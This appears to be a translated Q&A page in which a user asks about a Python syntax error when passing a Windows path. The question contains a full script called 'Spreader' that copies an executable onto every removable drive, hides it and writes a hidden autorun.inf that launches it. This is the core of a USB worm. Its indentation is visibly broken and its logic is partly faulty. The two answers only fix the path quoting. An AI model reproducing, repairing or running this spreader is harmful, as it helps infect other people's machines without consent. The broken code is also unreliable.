Question

想要知道为什么在编写此脚本时出现语法错误，如果我要声明路径？

我已经对它进行了一些搜索并且找不到与此相关的任何内容，有人可以解释我如何添加路径吗？

   if __name__ == "__main__":  # This isn't part of the actual code
       spread = Spreader (C:\Users\Test\bin.exe) # C: the ':' is the syntax error


import win32api
import win32con
import win32file
import sys
import os

class Spreader(object):
def __init__(self, path):    # path must be absolute
  print (" [*] Checking information")

  self.filename = path.split("\\")[-1]
  self.driveFilename = self.filename

  if not self.driveFilename.startswith("~"):
    self.driveFilename = "~" + self.driveFilename

  print ("\t- Local filename: ") + self.filename
  print ("\t- Driver filename: ") + self.driveFilename

  self.path = "\\".join(path.split("\\")[:-1]) + "\\" + self.filename

  print ("\t- Full path: ") + self.path

  print ("\n [*] Getting removable drives")
  self.drives = self.__getRemovableDrives()

  if len(self.drives) == None:
    print (" [-] No removable drives available")
  sys.exit()

  for drive in self.drives:
    print ("\t- ") + drive

  print ("\n [*] Spreading")
  self.__spread()

  print ("\n [+] Successfully spread")

def __getRemovableDrives(self):
  removableDrives = []
  drives = win32api.GetLogicalDriveStrings().split("\000")[:-1]

  for drive in drives:
    driveType = win32file.GetDriveType(drive)

  if driveType == win32file.DRIVE_REMOVABLE:
        removableDrives.append(drive)

  return removableDrives

def __spread(self):
  for drive in self.drives:

    if drive == "A:\\":
        continue

  else:

        driveFile = drive + self.driveFilename
        driveAutorun = drive + "autorun.inf"

        print (" [+] ") + drive

        if not os.path.exists(driveFile):
          self.__copyFile(driveFile)

        if not os.path.exists(driveAutorun):
          self.__createAutorun(driveAutorun)

def __copyFile(self, driveFile):
  print ("\t- Copying file: ") + self.driveFilename,
  win32file.CopyFile(self.path, driveFile, 0)
  print ("\t\t\tDONE")

  print ("\t- Hidding file"),
  win32api.SetFileAttributes(driveFile,\
         win32con.FILE_ATTRIBUTE_HIDDEN)
  print ("\t\t\tDONE")

def __createAutorun(self, driveAutorun):
  print ("\t- Creating autorun.inf"),
  autorun = open(driveAutorun, "w")
  content = """[Autorun]
open={0}
icon={0}
label=Python Spreader
UseAutoPlay=1
action=Start my App
action=@{0}
shell\open=Open
shell\open\Command={0}
shell\explore=explore
shell\explore\command={0}""".format(self.driveFilename)
  autorun.write(content)
  autorun.close()
  print ("\t\t\tDONE")

  print ("\t- Hidding autorun"),
  win32api.SetFileAttributes(driveAutorun,\
         win32con.FILE_ATTRIBUTE_HIDDEN)
  print ("\t\t\tDONE")

  if __name__ == "__main__":
       spread = Spreader (C:\Users\Test\bin.exe)

Answer 1

您必须将路径括在引号中以使其成为字符串：

spread = Spreader('C:/Users/Test/bin.exe')

Answer 2

此语法错误：

spread = Spreader (C:\Users\Test\bin.exe)

是因为你没有引用你的路径。另外，你的路径中有反斜杠（你知道Windows也除了/作为目录分隔符吗？），所以使用原始字符串：

spread = Spreader(r"C:\Users\Test\bin.exe")

正如@domoarrigato所提到的，你会注意到我删除了函数调用Spreader和括号之间的空格。这是为了符合Python样式指南PEP008，并且对您的语法错误没有任何影响。

声明路径时出现语法错误

2 个答案: